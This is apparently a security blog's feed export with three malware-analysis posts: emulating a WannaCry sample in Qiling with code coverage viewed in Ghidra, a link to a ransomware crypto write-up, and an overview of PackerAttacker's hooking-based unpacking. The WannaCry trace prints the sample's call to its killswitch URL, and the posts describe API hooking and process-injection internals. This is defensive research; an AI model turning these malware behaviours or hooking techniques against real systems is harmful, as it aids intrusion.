Jekyll2021-12-27T17:53:22+00:00http://pwnage.io/feed.xmlinfosec4breakfastMy ramblings about malware and exploitation.jmagPE Emulation With Code Coverage Using Qiling and Dragon Dance2020-07-19T20:21:00+00:002020-07-19T20:21:00+00:00http://pwnage.io/pe-code-coverage-emulation-qiling<h2 id="qiling-emulation">Qiling Emulation</h2>
<p>The <a href="https://www.qiling.io/">Qiling</a> emulation framework was built with the goal of emulating shellcode from various operating systems due to the ever-increasing amount of complexity of shellcode, as xwings stated <a href="https://www.youtube.com/watch?v=xf0i9kfHKDI">in his talk at ZeroNights 2019</a>. The framework, however, evolved into a <code class="language-plaintext highlighter-rouge">binary instrumentation and binary emulation framework that supports cross-platform and multi-architecture</code> where multiple architectures (such as ARM and x86), operating systems (such as Windows and Linux) and file formats for loading binary code (such as ELF and Portable Executables) are supported.</p>
<h2 id="portable-executable-code-coverage">Portable Executable Code Coverage</h2>
<p>While looking at ways to contribute and improve coverage for the <a href="https://github.com/qilingframework/qiling/tree/master/qiling/os/windows/dlls">Windows operating system APIs</a> it has been difficult to trace execution flow within a binary that is calling specific APIs that I would like to emulate. Fortunately, <a href="https://twitter.com/assaf_carlsbad">@assaf_carlsbad</a> submitted a <a href="https://github.com/qilingframework/qiling/pull/311/files">PR</a> which would do exactly this with <a href="https://dynamorio.org/dynamorio_docs/page_drcov.html">DRCOV-compatible</a> code coverage collection. This, however, was limited to the Portable Executable UEFI loader, so I decided to add support for the Windows Portable Executable loader with the following changes:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diff --git a/qiling/loader/pe.py b/qiling/loader/pe.py
index b6e46c8e..3375bbf2 100644
--- a/qiling/loader/pe.py
+++ b/qiling/loader/pe.py
@@ -87,15 +87,20 @@ class Process():
self.ql.nprint("[+] Cached %s" % path)
dll_base = self.dll_last_address
+
dll_len = self.ql.os.heap._align(len(bytes(data)), 0x1000)
self.dll_size += dll_len
self.ql.mem.map(dll_base, dll_len, info=dll_name)
self.ql.mem.write(dll_base, bytes(data))
self.dll_last_address += dll_len
+
# add dll to ldr data
self.add_ldr_data_table_entry(dll_name)
+ # add DLL to coverage images
+ self.images.append(self.QlImage(dll_base, dll_len, path))
+
self.ql.nprint("[+] Done with loading %s" % path)
return dll_base
@@ -328,6 +333,8 @@ class QlLoaderPE(QlLoader, Process):
self.pe_image_address = self.pe_image_address = self.pe.OPTIONAL_HEADER.ImageBase
self.pe_image_address_size = self.pe_image_address_size = self.pe.OPTIONAL_HEADER.SizeOfImage
+ self.images.append(self.QlImage(self.pe_image_address, self.pe_image_address + self.pe_image_address_size, self.path))
</code></pre></div></div>
<p>This, in turn, provides code coverage for any Portable Executable image loaded by the loader (including DLL dependencies) and will cause each basic block executed to be logged by the <code class="language-plaintext highlighter-rouge">block_callback</code> function when tracing is enabled:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">def</span> <span class="nf">block_callback</span><span class="p">(</span><span class="n">ql</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="bp">self</span><span class="p">):</span>
<span class="k">for</span> <span class="n">mod_id</span><span class="p">,</span> <span class="n">mod</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">ql</span><span class="p">.</span><span class="n">loader</span><span class="p">.</span><span class="n">images</span><span class="p">):</span>
<span class="k">if</span> <span class="n">mod</span><span class="p">.</span><span class="n">base</span> <span class="o"><=</span> <span class="n">address</span> <span class="o"><=</span> <span class="n">mod</span><span class="p">.</span><span class="n">end</span><span class="p">:</span>
<span class="n">ent</span> <span class="o">=</span> <span class="n">bb_entry</span><span class="p">(</span><span class="n">address</span> <span class="o">-</span> <span class="n">mod</span><span class="p">.</span><span class="n">base</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">mod_id</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">basic_blocks</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">ent</span><span class="p">)</span>
<span class="k">break</span>
</code></pre></div></div>
<p>I had left this blog on the backburner for a while, and later found that xwings had <a href="https://github.com/qilingframework/qiling/commit/482e12fbb0e6e875b773ef996db18c398bb76ac5">already added this for PEs in June</a>, so I <a href="https://github.com/qilingframework/qiling/pull/384">submitted a PR to add the DLL coverage as well</a>.</p>
<h2 id="enter-the-dragon-dance">Enter the Dragon (Dance)</h2>
<p>The defacto standard for visualizing code coverage in IDA Pro and Binary Ninja is a plugin called <a href="https://github.com/gaasedelen/lighthouse">Lighthouse</a>, which I’d highly recommend checking out if you’re reverse engineering using these disassemblers. During my off-time, I’ve been trying to use <a href="https://ghidra-sre.org/">Ghidra</a>, which has a great disassembler and decompiler, and provides a plethora of features that are missing from IDA Pro. Once you get used to its quirks, it’s a fantastic free and open source software reverse engineering suite. I came across a fantastic plugin called <a href="https://github.com/0ffffffffh/dragondance">Dragon Dance</a> which provides similar functionality to Lighthouse for visualizing code coverage within Ghidra, and most importantly for this post, supports the DRCOV trace format. It supports a number of <a href="https://github.com/0ffffffffh/dragondance#built-in-references">built-in references</a> which let you do things like <code class="language-plaintext highlighter-rouge">diff</code> traces within the highlighted syntax. Here’s a nice depiction from the README of using the scripting interface with these functions:</p>
<p><img src="https://user-images.githubusercontent.com/437161/57895545-d81ee480-7854-11e9-8713-b18036ff0b80.gif" alt="" /></p>
<p>In addition to this, Dragon Dance supports fixups, which essentially looks at the coverage integrity within the binary and compares this to instructions which have been disassembled by Ghidra. If these differ, then the plugin will prompt the user to fix these areas which Ghidra missed. Here’s a depiction of this below, also from the README:</p>
<p><img src="https://user-images.githubusercontent.com/437161/57895491-99892a00-7854-11e9-98b6-af9a13653a55.gif" alt="" /></p>
<h2 id="putting-it-all-together">Putting It All Together</h2>
<p>Now that we have Portable Executable trace coverage, and a way to visualize it within a reverse engineering suite, let’s take a look at an example. Qiling comes with a WannaCry binary which we’ll use to demonstrate code coverage here. First, I needed to follow the <a href="https://github.com/0ffffffffh/dragondance#build-instructions">build instructions</a> within Dragon Dance, which were very straight forward, in order to build and install the plugin. Once this was done and I had it working in Ghidra, I ran <code class="language-plaintext highlighter-rouge">qltool</code> with the WannaCry binary and tracing enabled:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># python qltool run --disasm -c wannacry-trace.cov -f examples/rootfs/x86_windows/bin/wannacry.bin --rootfs examples/rootfs/x86_windows/
[+] Initiate stack address at 0xfffdd000
[+] Loading examples/rootfs/x86_windows/bin/wannacry.bin to 0x400000
[+] PE entry point at 0x409a16
[+] TEB addr is 0x6000
[+] PEB addr is 0x6044
[+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/ntdll.dll to 0x10000000
[+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/ntdll.dll
[+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/kernel32.dll to 0x10141000
[+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/kernel32.dll
[+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/advapi32.dll to 0x10215000
[+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/advapi32.dll
[+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/ws2_32.dll to 0x102b6000
[+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/ws2_32.dll
[+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/msvcp60.dll to 0x102eb000
[+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/msvcp60.dll
[+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/iphlpapi.dll to 0x10351000
[+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/iphlpapi.dll
[+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/wininet.dll to 0x1036d000
[+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/wininet.dll
[+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/msvcrt.dll to 0x10462000
[+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/msvcrt.dll
-snip-
[+] 0x408171 50 push eax
[+] 0x408172 50 push eax
[+] 0x408173 50 push eax
[+] 0x408174 6a 01 push 1
[+] 0x408176 50 push eax
[+] 0x408177 88 44 24 6b mov byte ptr [esp + 0x6b], al
[+] 0x40817b ff 15 34 a1 40 00 call dword ptr [0x40a134]
[+] 0x1039c18e 8b ff mov edi, edi
InternetOpenA(lpszAgent = 0x0, dwAccessType = 0x1, lpszProxy = 0x0, lpszProxyBypass = 0x0, dwFlags = 0x0)
[+] 0x408181 6a 00 push 0
[+] 0x408183 68 00 00 00 84 push 0x84000000
[+] 0x408188 6a 00 push 0
[+] 0x40818a 8d 4c 24 14 lea ecx, [esp + 0x14]
[+] 0x40818e 8b f0 mov esi, eax
[+] 0x408190 6a 00 push 0
[+] 0x408192 51 push ecx
[+] 0x408193 56 push esi
[+] 0x408194 ff 15 38 a1 40 00 call dword ptr [0x40a138]
[+] 0x103b00f1 8b ff mov edi, edi
InternetOpenUrlA(hInternet = 0x0, lpszUrl = "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com", lpszHeaders = 0x0, dwHeadersLength = 0x0, dwFlags = 0x84000000, dwContext = 0x0)
[+] 0x40819a 8b f8 mov edi, eax
[+] 0x40819c 56 push esi
[+] 0x40819d 8b 35 3c a1 40 00 mov esi, dword ptr [0x40a13c]
[+] 0x4081a3 85 ff test edi, edi
[+] 0x4081a5 90 nop
[+] 0x4081a6 90 nop
[+] 0x4081a7 ff d6 call esi
[+] 0x10387b49 8b ff mov edi, edi
InternetCloseHandle(hInternet = 0x0) = 0x1
-snip-
</code></pre></div></div>
<p>A few options to make note of that are passed to <code class="language-plaintext highlighter-rouge">qltool</code>:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">--disasm</code> provides the disassembly of all executed instructions</li>
<li><code class="language-plaintext highlighter-rouge">-c</code> provides the DRCONV output trace file path</li>
</ul>
<p>As you can see, the infamous killswitch URL <code class="language-plaintext highlighter-rouge">hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com</code> was passed to <code class="language-plaintext highlighter-rouge">InternetOpenUrlA</code> within our emulation run. Now, let’s import this trace into Ghidra using Dragon Dance and see what it looks like. Once the plugin is installed, we can open the plugin window from the <code class="language-plaintext highlighter-rouge">Window</code> dropdown within Ghidra:</p>
<p><img src="/assets/images/dragon-dance-ghidra-menu.png" alt="" /></p>
<p>Once the Dragon Dance window is open, we can add a trace file using the green <code class="language-plaintext highlighter-rouge">+</code> button:</p>
<p><img src="/assets/images/plus-import-dd.png" alt="" /></p>
<p>Once added, we can switch to this trace by right clicking on the trace file and clicking <code class="language-plaintext highlighter-rouge">Switch To</code>:</p>
<p><img src="/assets/images/switch-to-ghidra.png" alt="" /></p>
<p>Once applied, all executed/emulation areas of the binary are now highlighted. Here we can see the killwitch function that is called by the WannaCry binary:</p>
<p><img src="/assets/images/highlighted-killswitch-ghidra.png" alt="" /></p>
<p>If you’ve followed along you’ll see that the emulation of the WannaCry binary dies within the <code class="language-plaintext highlighter-rouge">sprintf</code> function:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] 0x4080a5 ff 15 2c a1 40 00 call dword ptr [0x40a12c]
[+] 0x104b5aa9 b8 e4 30 ff 6f mov eax, 0x6fff30e4
__p___argc() = 0x5053d44
[+] 0x4080ab 83 38 02 cmp dword ptr [eax], 2
[+] 0x4080ae 7d 09 jge 0x4080b9
[+] 0x4080b0 e8 6b fe ff ff call 0x407f20
[+] 0x407f20 e8 1b fd ff ff call 0x407c40
[+] 0x407c40 81 ec 04 01 00 00 sub esp, 0x104
[+] 0x407c46 8d 44 24 00 lea eax, [esp]
[+] 0x407c4a 57 push edi
[+] 0x407c4b 68 60 f7 70 00 push 0x70f760
[+] 0x407c50 68 30 13 43 00 push 0x431330
[+] 0x407c55 50 push eax
[+] 0x407c56 ff 15 0c a1 40 00 call dword ptr [0x40a10c]
[+] 0x1047f354 8b ff mov edi, edi
[!] sprintf Exception Found
[!] Emulation Error
-snip-
File "/qiling/qiling/os/windows/windows.py", line 115, in hook_winapi
raise QlErrorSyscallError("[!] Windows API Implementation Error")
qiling.exception.QlErrorSyscallError: [!] Windows API Implementation Error
</code></pre></div></div>
<p>Below we can see no further instruction highlights in Ghidra after the call to <code class="language-plaintext highlighter-rouge">sprintf</code> within <code class="language-plaintext highlighter-rouge">msvcrt.dll</code>:</p>
<p><img src="/assets/images/sprintf-ghidra.png" alt="" /></p>
<p>We can, however, visualize the code coverage within the <code class="language-plaintext highlighter-rouge">msvcrt.dll</code> dependency itself using Dragon Dance, which is where the exception occurred:</p>
<p><img src="/assets/images/sprintf-coverage.png" alt="" /></p>
<p>There is a limitation that I ran into though, since Qiling executes blocks of machine code with Unicorn. If an exception occurs while executing a given block (which is the case here) then it might not hit the logging callback once it produces an exception. The visualization, however, still gives you an idea of where the issue is occurring. If we wanted the binary to continue executing, we’d have to take one of two approaches:</p>
<ol>
<li>Figure out why execution is failing within the library function <code class="language-plaintext highlighter-rouge">sprintf</code> within <code class="language-plaintext highlighter-rouge">msvcrt.dll</code> which is resulting in the <code class="language-plaintext highlighter-rouge">Windows API Implementation Error</code></li>
<li>Implement the API ourselves within Qiling so it is supported</li>
</ol>
<p>The former requires reverse engineering of a Windows DLL, where the latter requires us to work out what <code class="language-plaintext highlighter-rouge">sprintf</code> does and implement it within the Qiling framework.</p>
<h2 id="conclusion">Conclusion</h2>
<p>This is a basic example of debugging emulated output, since it’s obvious from the <code class="language-plaintext highlighter-rouge">qltool</code> output what is happening, however, being able visualize execution paths for more complex binaries is invaluable, since many branches can be taken to get to a certain function where an error or undefined behavior may be occurring. The Qiling framework is being actively developed and I see updates from it on Github almost daily. The core developers have done a great job at maintaining the project, and I’d suggest using techniques like these to debug APIs and contribute to the project.</p>
<p>Happy Hacking!</p>JershMagershQiling Emulation The Qiling emulation framework was built with the goal of emulating shellcode from various operating systems due to the ever-increasing amount of complexity of shellcode, as xwings stated in his talk at ZeroNights 2019. The framework, however, evolved into a binary instrumentation and binary emulation framework that supports cross-platform and multi-architecture where multiple architectures (such as ARM and x86), operating systems (such as Windows and Linux) and file formats for loading binary code (such as ELF and Portable Executables) are supported. Portable Executable Code Coverage While looking at ways to contribute and improve coverage for the Windows operating system APIs it has been difficult to trace execution flow within a binary that is calling specific APIs that I would like to emulate. Fortunately, @assaf_carlsbad submitted a PR which would do exactly this with DRCOV-compatible code coverage collection. This, however, was limited to the Portable Executable UEFI loader, so I decided to add support for the Windows Portable Executable loader with the following changes: diff --git a/qiling/loader/pe.py b/qiling/loader/pe.py index b6e46c8e..3375bbf2 100644 --- a/qiling/loader/pe.py +++ b/qiling/loader/pe.py @@ -87,15 +87,20 @@ class Process(): self.ql.nprint("[+] Cached %s" % path) dll_base = self.dll_last_address + dll_len = self.ql.os.heap._align(len(bytes(data)), 0x1000) self.dll_size += dll_len self.ql.mem.map(dll_base, dll_len, info=dll_name) self.ql.mem.write(dll_base, bytes(data)) self.dll_last_address += dll_len + # add dll to ldr data self.add_ldr_data_table_entry(dll_name) + # add DLL to coverage images + self.images.append(self.QlImage(dll_base, dll_len, path)) + self.ql.nprint("[+] Done with loading %s" % path) return dll_base @@ -328,6 +333,8 @@ class QlLoaderPE(QlLoader, Process): self.pe_image_address = self.pe_image_address = self.pe.OPTIONAL_HEADER.ImageBase self.pe_image_address_size = self.pe_image_address_size = self.pe.OPTIONAL_HEADER.SizeOfImage + self.images.append(self.QlImage(self.pe_image_address, self.pe_image_address + self.pe_image_address_size, self.path)) This, in turn, provides code coverage for any Portable Executable image loaded by the loader (including DLL dependencies) and will cause each basic block executed to be logged by the block_callback function when tracing is enabled: def block_callback(ql, address, size, self): for mod_id, mod in enumerate(ql.loader.images): if mod.base <= address <= mod.end: ent = bb_entry(address - mod.base, size, mod_id) self.basic_blocks.append(ent) break I had left this blog on the backburner for a while, and later found that xwings had already added this for PEs in June, so I submitted a PR to add the DLL coverage as well. Enter the Dragon (Dance) The defacto standard for visualizing code coverage in IDA Pro and Binary Ninja is a plugin called Lighthouse, which I’d highly recommend checking out if you’re reverse engineering using these disassemblers. During my off-time, I’ve been trying to use Ghidra, which has a great disassembler and decompiler, and provides a plethora of features that are missing from IDA Pro. Once you get used to its quirks, it’s a fantastic free and open source software reverse engineering suite. I came across a fantastic plugin called Dragon Dance which provides similar functionality to Lighthouse for visualizing code coverage within Ghidra, and most importantly for this post, supports the DRCOV trace format. It supports a number of built-in references which let you do things like diff traces within the highlighted syntax. Here’s a nice depiction from the README of using the scripting interface with these functions: In addition to this, Dragon Dance supports fixups, which essentially looks at the coverage integrity within the binary and compares this to instructions which have been disassembled by Ghidra. If these differ, then the plugin will prompt the user to fix these areas which Ghidra missed. Here’s a depiction of this below, also from the README: Putting It All Together Now that we have Portable Executable trace coverage, and a way to visualize it within a reverse engineering suite, let’s take a look at an example. Qiling comes with a WannaCry binary which we’ll use to demonstrate code coverage here. First, I needed to follow the build instructions within Dragon Dance, which were very straight forward, in order to build and install the plugin. Once this was done and I had it working in Ghidra, I ran qltool with the WannaCry binary and tracing enabled: # python qltool run --disasm -c wannacry-trace.cov -f examples/rootfs/x86_windows/bin/wannacry.bin --rootfs examples/rootfs/x86_windows/ [+] Initiate stack address at 0xfffdd000 [+] Loading examples/rootfs/x86_windows/bin/wannacry.bin to 0x400000 [+] PE entry point at 0x409a16 [+] TEB addr is 0x6000 [+] PEB addr is 0x6044 [+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/ntdll.dll to 0x10000000 [+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/ntdll.dll [+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/kernel32.dll to 0x10141000 [+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/kernel32.dll [+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/advapi32.dll to 0x10215000 [+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/advapi32.dll [+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/ws2_32.dll to 0x102b6000 [+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/ws2_32.dll [+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/msvcp60.dll to 0x102eb000 [+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/msvcp60.dll [+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/iphlpapi.dll to 0x10351000 [+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/iphlpapi.dll [+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/wininet.dll to 0x1036d000 [+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/wininet.dll [+] Loading examples/rootfs/x86_windows/Windows/SysWOW64/msvcrt.dll to 0x10462000 [+] Done with loading examples/rootfs/x86_windows/Windows/SysWOW64/msvcrt.dll -snip- [+] 0x408171 50 push eax [+] 0x408172 50 push eax [+] 0x408173 50 push eax [+] 0x408174 6a 01 push 1 [+] 0x408176 50 push eax [+] 0x408177 88 44 24 6b mov byte ptr [esp + 0x6b], al [+] 0x40817b ff 15 34 a1 40 00 call dword ptr [0x40a134] [+] 0x1039c18e 8b ff mov edi, edi InternetOpenA(lpszAgent = 0x0, dwAccessType = 0x1, lpszProxy = 0x0, lpszProxyBypass = 0x0, dwFlags = 0x0) [+] 0x408181 6a 00 push 0 [+] 0x408183 68 00 00 00 84 push 0x84000000 [+] 0x408188 6a 00 push 0 [+] 0x40818a 8d 4c 24 14 lea ecx, [esp + 0x14] [+] 0x40818e 8b f0 mov esi, eax [+] 0x408190 6a 00 push 0 [+] 0x408192 51 push ecx [+] 0x408193 56 push esi [+] 0x408194 ff 15 38 a1 40 00 call dword ptr [0x40a138] [+] 0x103b00f1 8b ff mov edi, edi InternetOpenUrlA(hInternet = 0x0, lpszUrl = "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com", lpszHeaders = 0x0, dwHeadersLength = 0x0, dwFlags = 0x84000000, dwContext = 0x0) [+] 0x40819a 8b f8 mov edi, eax [+] 0x40819c 56 push esi [+] 0x40819d 8b 35 3c a1 40 00 mov esi, dword ptr [0x40a13c] [+] 0x4081a3 85 ff test edi, edi [+] 0x4081a5 90 nop [+] 0x4081a6 90 nop [+] 0x4081a7 ff d6 call esi [+] 0x10387b49 8b ff mov edi, edi InternetCloseHandle(hInternet = 0x0) = 0x1 -snip- A few options to make note of that are passed to qltool: --disasm provides the disassembly of all executed instructions -c provides the DRCONV output trace file path As you can see, the infamous killswitch URL hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com was passed to InternetOpenUrlA within our emulation run. Now, let’s import this trace into Ghidra using Dragon Dance and see what it looks like. Once the plugin is installed, we can open the plugin window from the Window dropdown within Ghidra: Once the Dragon Dance window is open, we can add a trace file using the green + button: Once added, we can switch to this trace by right clicking on the trace file and clicking Switch To: Once applied, all executed/emulation areas of the binary are now highlighted. Here we can see the killwitch function that is called by the WannaCry binary: If you’ve followed along you’ll see that the emulation of the WannaCry binary dies within the sprintf function: [+] 0x4080a5 ff 15 2c a1 40 00 call dword ptr [0x40a12c] [+] 0x104b5aa9 b8 e4 30 ff 6f mov eax, 0x6fff30e4 __p___argc() = 0x5053d44 [+] 0x4080ab 83 38 02 cmp dword ptr [eax], 2 [+] 0x4080ae 7d 09 jge 0x4080b9 [+] 0x4080b0 e8 6b fe ff ff call 0x407f20 [+] 0x407f20 e8 1b fd ff ff call 0x407c40 [+] 0x407c40 81 ec 04 01 00 00 sub esp, 0x104 [+] 0x407c46 8d 44 24 00 lea eax, [esp] [+] 0x407c4a 57 push edi [+] 0x407c4b 68 60 f7 70 00 push 0x70f760 [+] 0x407c50 68 30 13 43 00 push 0x431330 [+] 0x407c55 50 push eax [+] 0x407c56 ff 15 0c a1 40 00 call dword ptr [0x40a10c] [+] 0x1047f354 8b ff mov edi, edi [!] sprintf Exception Found [!] Emulation Error -snip- File "/qiling/qiling/os/windows/windows.py", line 115, in hook_winapi raise QlErrorSyscallError("[!] Windows API Implementation Error") qiling.exception.QlErrorSyscallError: [!] Windows API Implementation Error Below we can see no further instruction highlights in Ghidra after the call to sprintf within msvcrt.dll: We can, however, visualize the code coverage within the msvcrt.dll dependency itself using Dragon Dance, which is where the exception occurred: There is a limitation that I ran into though, since Qiling executes blocks of machine code with Unicorn. If an exception occurs while executing a given block (which is the case here) then it might not hit the logging callback once it produces an exception. The visualization, however, still gives you an idea of where the issue is occurring. If we wanted the binary to continue executing, we’d have to take one of two approaches: Figure out why execution is failing within the library function sprintf within msvcrt.dll which is resulting in the Windows API Implementation Error Implement the API ourselves within Qiling so it is supported The former requires reverse engineering of a Windows DLL, where the latter requires us to work out what sprintf does and implement it within the Qiling framework. Conclusion This is a basic example of debugging emulated output, since it’s obvious from the qltool output what is happening, however, being able visualize execution paths for more complex binaries is invaluable, since many branches can be taken to get to a certain function where an error or undefined behavior may be occurring. The Qiling framework is being actively developed and I see updates from it on Github almost daily. The core developers have done a great job at maintaining the project, and I’d suggest using techniques like these to debug APIs and contribute to the project. Happy Hacking!CryptXXX Technical Deep Dive2016-09-08T03:27:00+00:002016-09-08T03:27:00+00:00http://pwnage.io/cryptxxx-technical-deep-dive<p>Some of you may be wondering what I’ve been doing for the past while since I have not been posting very often, if at all in the past number of months. One of my recent write-ups can be found here: <a href="https://blogs.cisco.com/security/cryptxxx-technical-deep-dive">https://blogs.cisco.com/security/cryptxxx-technical-deep-dive</a></p>
<p>Finding crypto flaws in ransomware has been a ton of fun (albeit trivial in comparison to other methods that have been abused to recover original files), as well as reverse engineering modern malware variants that contain a large amount of obfuscation. This is a great illustration as to why secure seed generation is so important. Hope you enjoy the post ;) feedback is welcome.</p>
<p>I’d like to take this opportunity to link some write-up that I really enjoyed by samvartaka which a motivation for the work above, simply due to the quality of content he/she produces: <a href="https://samvartaka.github.io/malware/2015/11/20/ctb-locker">https://samvartaka.github.io/malware/2015/11/20/ctb-locker</a> I’d also highly suggest the rest of his/her postings here: <a href="https://samvartaka.github.io/">https://samvartaka.github.io/</a> especially those on malware exploitation, which I believe is a highly underrated research area.</p>
<p>Cheers,</p>
<p>JM</p>JMSome of you may be wondering what I’ve been doing for the past while since I have not been posting very often, if at all in the past number of months. One of my recent write-ups can be found here: https://blogs.cisco.com/security/cryptxxx-technical-deep-dive Finding crypto flaws in ransomware has been a ton of fun (albeit trivial in comparison to other methods that have been abused to recover original files), as well as reverse engineering modern malware variants that contain a large amount of obfuscation. This is a great illustration as to why secure seed generation is so important. Hope you enjoy the post ;) feedback is welcome. I’d like to take this opportunity to link some write-up that I really enjoyed by samvartaka which a motivation for the work above, simply due to the quality of content he/she produces: https://samvartaka.github.io/malware/2015/11/20/ctb-locker I’d also highly suggest the rest of his/her postings here: https://samvartaka.github.io/ especially those on malware exploitation, which I believe is a highly underrated research area. Cheers, JMEvaluating Automated Malware Analysis Tools & Techniques: Part 1 - Packer Attacker Overview2015-11-10T04:59:00+00:002015-11-10T04:59:00+00:00http://pwnage.io/an-evaluation-of-automated-malware<h2 id="pandas-fridas-packerattackers-oh-my">Pandas, Fridas, PackerAttackers Oh My!</h2>
<p>As my professional career and personal interests begin to involve more and more reverse engineering I’ve been spending countless hours in debuggers and disassembling tools. What I’ve come to realize is the value of automated tools to assist in the reverse engineering process. My goal is to produce an automated unpacking and analysis framework for malicious code. There are projects that have aspired to do such things, such as <a href="https://github.com/BromiumLabs/PackerAttacker">https://github.com/BromiumLabs/PackerAttacker </a> by Bromium Labs for automated unpacking/dumping of malicious code.</p>
<p>There are a subset of techniques that are used by most malware authors that can be programmatically automated so reverse engineers do not have to perform these tasks if the technique is known, however, these subsets are ever changing, thus the need for a framework to provide extensibility and that is not subject to code rot. This extensibility should provide the ability to integrate commonly used tools such as Volatility. Further, they should provide a means of assisting in static analysis. There are three tools that I’ll be evaluating throughout this series: <a href="https://github.com/moyix/panda">Panda</a> (Platform for Architecture-Neutral Dynamic Analysis), <a href="http://www.frida.re/">Frida</a> and the aforementioned PackerAttacker in relation to one of the requirements for the framework. As you may have already realized I will be focusing on Windows x86/WoW64 Malware for the time being.</p>
<h2 id="packerattacker">PackerAttacker</h2>
<p>I’ve included this project as it was released when I was initially thinking about this concept. Nicolas Brulez covered a number of unpacking concepts during the Reverse Engineering Malware course that I took last year at REcon, he demonstrated an automated unpacking system that he has kept private due to a number of reasons, which is what initially set me on a path to create my own using readily available technologies.</p>
<h3 id="hooking-with-detours">Hooking With Detours</h3>
<p>PackerAttacker is essentially a user-land rootkit that monitors API calls and adjusts memory permissions to force DEP exceptions to track memory page usage using a vectored exception handler. Function hooking is done using Microsoft’s Detours. Detours is a library for instrumenting Windows x86 binary functions. From the <a href="http://research.microsoft.com/pubs/68568/huntusenixnt99.pdf">paper</a>: <code class="language-plaintext highlighter-rouge">by re-writing target function images. ... Detours replaces the first few instructions of the target function with an unconditional jump to the user-provided detour function.</code> So essentially it enables user-land rootkit functionality for a given set of target binary functions.</p>
<h4 id="overall-technique-for-dumping">Overall Technique for Dumping</h4>
<p>It’s quite intuitive in the sense that traditional packers will allocate memory pages to which they’ll adjust to have executable permissions for executing position independent code. The functions they track being <code class="language-plaintext highlighter-rouge">NTProtectVirualMemory</code> and <code class="language-plaintext highlighter-rouge">NTAllocateVirtualMemory</code> will then call a trampoline function to remove the execution permission so when the target memory is fully unpacked and is executed it results in the DEP exception. The exception is caught with the aforementioned <code class="language-plaintext highlighter-rouge">Vectored Exception Handler</code>, the unpacked region is dumped to disk, permissions are returned to the memory range so the code can continue its execution process, and the exception is handled.</p>
<h4 id="pe-based-packers">PE Based Packers</h4>
<p>They also handle PE-based packers by identifying <code class="language-plaintext highlighter-rouge">-WX</code> PE sections prior to injecting their hooks and since entry-points are typically not write-able it can be assumed that this is to be written to by the packer. They then adjust this permission to be <code class="language-plaintext highlighter-rouge">--X</code> so at which point the packer is writing to the section they will get an <code class="language-plaintext highlighter-rouge">ACCESS_VIOLATION</code> at which point they can then remove execution permissions from the section, and use the aforementioned method to dump memory when a DEP exception is hit.</p>
<h4 id="process-injection">Process Injection</h4>
<p>Since process injection has two API ‘entry points’ from the binary they dump any memory being written to remote processes by hooking <code class="language-plaintext highlighter-rouge">NtWriteVirtualMemory</code> and <code class="language-plaintext highlighter-rouge">NtMapViewOfSection</code>. <code class="language-plaintext highlighter-rouge">NtWriteVirtualMemory</code> is awaited to be dumped when the injecting process exits.</p>
<h3 id="limitations">Limitations</h3>
<ul>
<li>
<p>The obvious limitations are that of API function resolution, for example if the dumped code is pointing to runtime structures that provide the API translation for function calls, we’ll get a disassembly that does not provide an immense amount of value. This is a typical unpacking step for those unfamiliar, known as ‘reconstructing the IAT’. Not to say that this is a simple task to accomplish, and that there is no silver bullet for unpacking binaries but this is needed nonetheless. That step will require manually unpacking the translation function, for example, and using those checksums to mark up the dumped disassembly.</p>
</li>
<li>
<p>Currently only 32-bit binaries are supported, as the WoW64 version of Detours is currently private, and they have not written a 64-bit hooking framework.</p>
</li>
<li>
<p>Virtual machines, and other forms of packers are outside of the scope of this toolset as well.</p>
</li>
<li>
<p>Lack of extensibility. As was defined by my above mentioned requirements, C++ code is not extensible or easily integratabtle with other toolsets.</p>
</li>
</ul>
<p>An overview of the project can be found in this <a href="http://www.irongeek.com/i.php?page=videos/derbycon5/the-3-way14-attacking-packing-captain-hook-beats-down-on-peter-packer-vadim-kotov-nick-cano">video</a> (their talk from this year’s DerbyCon) which I found to be the only decent source of information as there is a lack of documentation currently.</p>
